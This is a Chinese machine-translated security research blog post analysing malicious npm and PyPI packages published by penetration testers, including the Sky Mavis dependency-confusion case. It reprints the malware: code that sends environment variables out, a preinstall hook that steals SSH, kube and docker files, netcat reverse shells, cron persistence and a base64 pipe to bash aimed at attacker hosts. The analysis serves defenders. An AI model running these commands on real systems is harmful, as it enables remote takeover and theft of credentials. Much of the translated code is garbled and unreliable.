测试针对恶意包攻击的弹性:一把双刃剑?

测试针对恶意包攻击的弹性:一把双刃剑?

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,以避免潜在的软件供应链安全威胁,并报告任何漏洞或漏洞恶意包发现给存储库维护者和更广泛的社区。有时,我们会注意到值得分析和学习的趋势。

最近,我们注意到npm在红队或独立的渗透测试人员执行的“供应链攻击模拟”中越来越多地使用,利用了typposquating、依赖混淆、社会工程等。即使在这些情况下,“攻击者”并不打算造成任何伤害,但我们看到越来越多的不负责任的恶意包攻击模拟违反了npm的服务条款,并将他们试图帮助的组织置于真正的危险之中。

在本文中,我们回顾了最近的恶意包攻击“模拟”案例,包括我们最近发现和报告的一种新的依赖混淆攻击,并介绍了在使用公共平台(如npm)作为渗透测试工作的一部分时的最佳实践。

npm“Code White”依赖混淆——混淆和极其恶意的有效载荷

在2022年5月,我们探测到一颗袭击了几家德国工业公司。攻击者使用定制的、高度模糊的恶意软件来窃取信息并获得对受感染机器的控制。在我们向npm维护团队和目标公司披露恶意软件后,一家名为“Code White”的渗透测试公司发表了一篇文章,承担了责任并解释了他们的动机:

发布到npm注册表的模块没有包含任何关于它们在渗透测试中使用的警告:

发布到NPM注册表的模块

此外,所安装的恶意有效负载包含完整的回接shell功能以及自定义加密代码——这些能力远远超出了简单的红队验证所必需的能力。尽管渗透测试的意图是合法的,但如此强大的有效载荷有时会被外部威胁参与者劫持,从而对被测公司造成真正的损害。

PyPI ctx域名接管-窃取AWS访问令牌

另一个不负责任的白帽研究人员的例子是最近由独立安全研究人员Yunus Aydin对PyPI存储库进行的攻击。研究人员使用域接管技术为了劫持一个非常流行的PyPI包- ctx。原始代码被信息窃取恶意软件取代,该恶意软件将受感染机器的环境变量泄露到攻击者的服务器:

class Ctx(dict): def __init__(self): self.sendRequest() def sendRequest(self): string = "" for _, value in os. environment .items(): string += value+" " message_bytes = string.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

研究人员声称“研究不包含任何恶意活动”,他“想展示这个简单的攻击是如何影响到1000万用户和公司的”,同时进一步声称“我收到的所有数据都被删除了,没有被使用”。

虽然研究人员声称的意图不是恶意的,只是为了提高人们的意识,但我们的评估是,它并不能证明未经授权访问环境变量是合理的。例如,一个真正的恶意行为者可能已经劫持了域名anti-theft-web.herokuapp.com这样他们就能访问所有泄露的环境变量。这些变量可能会暴露PII(个人身份信息)以及敏感数据,例如硬编码密码或API令牌,从而增加了证明研究人员观点所不需要的风险级别。假设研究人员确实是一个白帽子,他们可以通过将有效负载ping回研究人员的服务器来实现相同的利用证明,而不发送任何额外的数据,特别是不敏感的环境变量。

Sky-Mavis的依赖混淆——以上都是

我们发现的最近一次攻击需要更详细的解释,因为攻击者在我们报告后删除了恶意软件,而媒体没有报道这个故事。

我们的自动扫描器在npm注册表中检测到一个可疑模块。的内部Node.js模块天空画眉鸟类注入恶意有效载荷的公司,看起来像是对公司供应链的依赖混淆攻击。

设计系统依赖混淆攻击

目标

该模块的范围、存储库和为这次攻击注册的C2域名的名称揭示了攻击的目标——一家名为天空画眉鸟类举办了一场受欢迎的b区块链nft收藏游戏,Axie无穷以及被称为“浪人网络”的软件:用于在财务上支持游戏的以太坊侧链。

在2022年3月底,该公司成为大黑客攻击的受害者导致6.25亿美元的加密资产被盗,成为游戏行业历史上最大的黑客攻击。根据该公司的博客,漏洞的根本原因是从网络中提取货币所需的验证器中窃取私钥。

在被入侵后,天空Mavis采取了几项措施来防止未来的攻击。其中一个是宣布一个漏洞赏金计划悬赏高达100万美元,鼓励白帽安全研究人员帮助提高其服务的安全性。

发现的可疑包裹的技术细节

我们分析的恶意软件看起来像是合法模块的篡改版本。它包含一千多个可能是原始的非恶意源代码文件和一个带有恶意代码的注入文件。不幸的是,没有检测到许可信息或注释,可以帮助证明它是Sky Mavis代码的一部分。尽管如此,代码的结构、对其他内部模块的引用以及我们无法找到公开的类似代码的事实,使我们很有可能认为这个包是一个实际泄露的内部包。

实际泄漏的内部包装

在典型的依赖混淆攻击中,攻击者设置最大版本号,希望它比原始版本号大。在这种情况下,由于攻击者似乎可以访问原始代码(并且知道真实的版本号),攻击者可以将版本稍微增加到“2.1.13”,这看起来像一个正常的版本号,并且看起来不可疑:

{"name": "@sky-mavis/design-system", "version": "2.1.13", "description": "Core styles & components", "main": "dist/index.js",}

遵循Node.js恶意软件开发的常见做法,恶意软件作者将恶意文件添加到包的“脚本”条目中。Json文件,使其在模块安装期间启动。

"scripts":{"preinstall": "node dist/utils/render.js"}

该恶意脚本收集并泄露有关受感染系统的信息,具体如下:

  • 用户名
  • 网络配置
  • 用户主目录的内容
  • ./ssh, ./config, ./kube和./docker(通常包含私钥和访问令牌的目录)下的所有文件的内容
让dirs = [' ${homedir}/]ssh”、“$ {homedir} /。配置”、“$ {homedir} /。kube”、“$ {homedir} /。docker '] for (let i in dirs) {files = getFiles(dirs[i]) for (let j in files){//…读取文件内容makeRequest(data_files,true);}}

在劫持敏感信息后,恶意软件执行shell脚本,打开攻击者服务器的反向shell,使攻击者完全控制受感染的机器。

Rm /tmp/f1;mkfifo /tmp/f1;cat /tmp/f1|/bin/sh -i 2>&1|nc axiedao[. .][co 11211 >/tmp/f1 .

奇怪的是,恶意代码继续打开四个shell连接到同一台服务器,但在不同的端口上:

rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。[61 27007 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。[61 13443 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。[61 23321 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。[61 33443 >/tmp/f .

攻击者的网络基础设施

攻击者服务器的域名npm[.]skymavis[.]。[.] [.]co分别模仿被攻击公司的网络资产名称(skymavis.com和axiedao.org)。尽管这种命名在网络钓鱼攻击中比在依赖混淆中更常见,但我们假设攻击者使用这些域是为了掩盖可疑的网络活动。其中一个域名重定向到公司网页,而另一个包含原始网站的精确克隆,这一事实支持了我们的假设。

攻击者的网络基础设施

在我们进行研究时,13.215.202.61服务器还活着,通过联系它,我们实际上收到了一个有效负载,这是一组base64编码的shell命令

51bGwgMj4mMSAm | base64 -d | bash

解码后的命令应该将敏感信息从受害机器发送到https://axiedao[]有限公司。然而,由于编程错误,恶意软件最终将此信息转储到标准输出并向C2服务器发送空请求

猫~ / .zsh_history;猫~ / . bash_history;猫/ etc / passwd;猫/ etc / hosts;显示本用户信息;Ls -la /;好啦。;Ls -la ~;寻找~ /。config/ -type f -exec cat {} \\; ; find ~/.ssh/ -type f -exec cat {} \\; ; timeout 5 curl -d "fengshui=axiedaoo" https://axiedao[.]co ;

下面的命令创建一个cron作业,为服务器建立另一个shell

Crontab -l | {cat;Echo“*/5 * * * * rm /tmp/i;mkfifo /tmp/i;cat /tmp/i|/bin/sh -i 2>&1|nc axiedao. sh”。Co 55443 >/tmp/i";} | crontab - | bash

来自服务器的最后一个命令创建一个bash脚本,该脚本再次每分钟建立一次到服务器的连接回显shell

而真正的;执行rm /tmp/g;mkfifo / tmp / g;Cat /tmp/g|/bin/sh -i 2>&1|nc axiedao。Co 8443 >/tmp/g;睡眠60;完成

谁是天空Mavis袭击的幕后黑手?

除了对恶意软件进行技术分析之外,了解幕后黑手是谁以及攻击的最终目的也很有趣。存储库的npm页面指向一个Github存储库(该存储库已被删除),假装是Sky Mavis公司的官方项目。但是,存储库还包含一个名为persistence的包。

幸运的是,存储库所有者保留了Git提交历史。历史记录清楚地显示,在第一次提交时,开发人员的主页从https://github.com/zoli4chhttps://github.com/sky-mavis(新创建的帐户)。

谁是天空Mavis袭击的幕后黑手

看着zoli4ch在Github上的个人资料,没有透露太多的信息-

zoli4ch配置文件在Github上

进一步搜索他的个人资料,我们在资源efience.com上找到了他的账户。到Github页面的链接与恶意软件第一个版本中的存储库匹配。根据简介,攻击者是一名胡志明市工业大学(HCMUT)的学生,对网络安全的进攻方面感兴趣。

zoli4c Web渗透测试器

原始JavaScript模块(假定是design-system)的合法代码在公共领域中不可用,这就提出了一个问题攻击者是怎么进入的。我们认为最有可能的是该公司雇佣了一个渗透测试员来模拟供应链攻击。

在前面的案例中,渗透测试者的行为超出了道德和负责任的行为范围

  • 攻击者将危险代码上传到公共软件注册表,公然违反了服务条款
  • 攻击者泄露了公司的专有源代码,真正的攻击者可以利用这些源代码对公司发起进一步的攻击。例如,泄露代码中的一些项目文件链接到公司的其他私有模块。获得这些模块名称的攻击者可以发起依赖混淆攻击。
  • 攻击者安装了过度恶意的有效负载(窃取私钥并打开连接回显壳)。真正的恶意攻击者可能已经劫持了这些域名axiedao.co13.215.202.61并且可以远程访问公司的受害电脑。更糟糕的是,恶意负载是公开的,这样攻击者就可以确切地知道要攻击的域以及期望的连接类型。
  • 有效载荷不包含任何访问限制,以确保它们在目标计算机上运行。因此,任何安装了恶意包的npm用户都将受到恶意有效负载的全面攻击。

“模拟真实的攻击场景”的谬论

许多渗透测试公司和个人实际上为他们的攻击与真正的威胁行为者的攻击非常相似而感到自豪,因此他们的意图也是如此

然而,模仿一个真正的攻击者会带来几个问题

  • 违反他们使用的公共基础设施的服务条款
  • 安装一个可能被真正的攻击者劫持的过度恶意的有效载荷
  • 危害公共基础设施合法使用者的
  • 造成目标公司PSIRT团队的过度恐慌

最重要的是,当考虑到“目标”事件响应团队的响应时,如此程度地模仿真实的攻击者实际上没有任何好处

  • PSIRT团队不会过滤掉(在大多数合理的情况下)恶意包,即使它有适当的描述。例如,在诸如依赖混淆之类的攻击中,甚至没有人阅读包描述
  • “跟踪”非恶意有效负载证明代码已被执行,而不会使受害机器暴露于不适当的劫持风险

执行负责的测试的3个指导方针(在公共包存储库上)

在我们看来,验证软件供应链攻击的弹性的渗透测试人员应该坚持以下一组实践:

  1. 例如,要尊重您发布内容的公共存储库的使用条款Npm对可接受包内容的条款
  2. 写一个包的全面描述,描述它的功能和目标
  3. 尽可能做到非侵入性:避免完全控制被攻击的机器,不要访问未经授权的个人数据

与JFrog安全研究保持同步

关注JFrog安全研究团队的最新发现和技术更新安全研究博客文章并在推特上@JFrogSecurity

保护免受恶意包攻击与JFrog Xray

除了暴露新的安全威胁外,JFrog还允许组织通过自动安全扫描快速检测第三方恶意包来开发和交付安全软件JFrog x光